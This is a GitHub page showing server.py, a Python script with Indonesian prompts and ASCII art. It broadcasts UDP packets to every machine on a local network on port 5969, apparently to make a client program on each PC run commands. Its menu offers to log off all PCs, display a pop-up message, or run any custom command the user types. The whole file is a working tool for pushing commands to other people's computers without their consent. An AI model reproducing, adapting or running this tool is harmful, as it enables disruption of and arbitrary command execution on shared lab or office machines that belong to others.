-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
191 lines (139 loc) · 6.3 KB
/
server.py
File metadata and controls
191 lines (139 loc) · 6.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import socket
from time import sleep
from tqdm import tqdm
def peringatan():
print("""
Yaelah rul, masa gitu aja salah
""")
sleep(1.5)
return(pilihan("wangy"))
def custom():
pass
def cucuck():
print("""
██████╗██╗ ██╗ ██████╗██╗ ██╗██╗ ██╗
██╔════╝██║ ██║██╔════╝██║ ██║██║ ██╔╝
██║ ██║ ██║██║ ██║ ██║█████╔╝
██║ ██║ ██║██║ ██║ ██║██╔═██╗
╚██████╗╚██████╔╝╚██████╗╚██████╔╝██║ ██╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ by : DarulFebri""")
def pesan(apatuch):
main("msg * {}".format(apatuch),"pesan")
def main(perintah,lagi):
msg = perintah.encode()
ipmanual="192.168.100.167" #kendala lain
host = socket.gethostname()
ipadd = socket.gethostbyname(host)
kocak = 5
print(" [+] IP yang dipakai : {}".format(ipadd))
sleep(1)
print(" [*] Mengitim Perintah..")
sleep(1)
while True:
for i in "lanjut":
soket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
#sock=socket.socket()
soket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
soket.bind((ipadd,0))
soket.sendto(msg, ("255.255.255.255", 5969))
soket.close()
kocak = (kocak-1)
if kocak == 0:
sleep(1)
if lagi == "custom":
print(""" [OK] Perintah '{}' Udah Kekirim Rul.
""".format(cus))
sleep(2)
if lagi == "pesan":
print(" [OK] Perintah telah di-execute")
sleep(2)
print("""
PESAN '{}' UDAH TERKIRIM RUL !
""".format(pes))
if lagi == 0:
print(" [OK] Perintah telah di-execute")
sleep(5)
print('''
SELAMAT DATANG DI JAMAN PURBA :D
( ,&&&.
) .,.&&
( ( \=__/
) ,'-'.
( ( ,, _.__|/ /|
) /\ -((------((_|___/ |
( // | (`' (( `'--|
_ -.;_/ \\\--._ \\\\ \\-._/. -DarulFer
(_;-// | \ \-'.\ <_,\_\`--'| -jrei
( `.__ _ ___,') <_,-'__,'
`'(_ )_)(_)_)
''')
in2=input(" Tulis 'Keluar' untuk Keluar\n >")
if in2:
exit()
else:
exit()
#return 0
def loding(d,dk,de):
for i in tqdm(range(d), desc=de):
sleep(dk)
def pilihan(eek):
global pes,cus
if eek == "bau":
pilihan()
elif eek == "wangy":
pass
else:
exit()
garis =(19*"="+2*">")
print('''
{}
Pilih Rul
{}
1.Log off Semua PC
2.Tampilkan Pesan
3.Perintah custom
'''.format(garis,garis))
in1=input("pilih (1/2/3) : ")
if in1 == '1': #yoi
loding(1000,0.001,"Menyiapkan")
main("logoff",0) # jangan terlalu jahat lah ya :D
if in1 == '2':
pes = input(" >> Masukin Pesannya Rul : ")
pesan(pes)
if in1 == '3':
cus = input(" Masukkan Perintah Custom Rul : ")
main(cus,"custom")
else:
peringatan()
def awalan():
sleep(1)
cucuck()
sleep(1)
pilihan("wangy")
awalan()
# gunterdibawah di hide karena cmd tidak tahu objek titik titik
'''
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀
⠀⠀⢀⣠⡀⠀⠀⠀⠀⠀⣼⠟⠛⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠉⠙⠻⢿⣿⣿⣿⣿⣿⣆⠀⠀⠀
⠀⢠⣿⣿⣿⡄⠀⠀⠀⣼⢃⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣆⠀⠀
⠀⣿⣿⣿⣿⡇⠀⠀⣰⣿⠋⠁⠀⠈⢹⣦⠀⠀⠀⢀⡴⠛⠋⠙⠳⣄⠀⠀⠘⣿⣿⣿⣿⣿⠀⠀
⢸⣿⣿⣿⣿⡇⠀⢀⣿⣿⣦⣤⣤⣶⣿⣿⡆⠀⠀⣿⣦⣀⣀⣠⣴⣿⡇⠀⠀⣿⣿⣿⣿⣿⡇⠀
⢸⣿⣿⣿⣿⣿⠀⢸⠏⢿⡋⠁⠈⠙⣿⣿⣤⢤⣄⢿⡿⠛⠛⠻⣿⣿⠇⠀⠀⣿⣿⣿⣿⣿⡇⠀
⢸⣿⣿⣿⣿⣿⣆⢸⠀⠀⠉⢛⣶⣿⣋⣁⣀⣀⣸⠋⠙⠶⠤⠴⠞⠋⠀⠀⠀⣿⣿⣿⣿⣿⡇⠀
⠀⢻⣿⣿⣿⣿⣿⣿⡆⠀⠀⠉⠉⠉⢉⣿⡿⣋⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⡇⠀
⠀⠀⠙⢿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠰⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⡇⠀
⠀⠀⠀⠀⠉⠛⠻⠿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⢻⣿⣿⢿⡇⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⣡⣿⣿⣿⠸⣇⠀ -Gunter
⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⠀⣿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⣸⣿⡄
⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⢿⣿⣿⡿⠿⢋⣴⣿⣿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⢸⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣶⣿⣿⣿⣿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠼⠷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⠟⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢶⣀⡀⠉⢓⡶⠶⠤⢤⣤⣀⣀⠀⠀⠀⠀⣀⣀⣠⡤⢿⡟⠛⠁⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠋⠀⠀⠀⠀⠀⠈⠉⠉⠻⣟⣉⡉⠉⢀⠀⢸⠇⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠋⠙⠋⠀⠀⠀⠀⠀
'''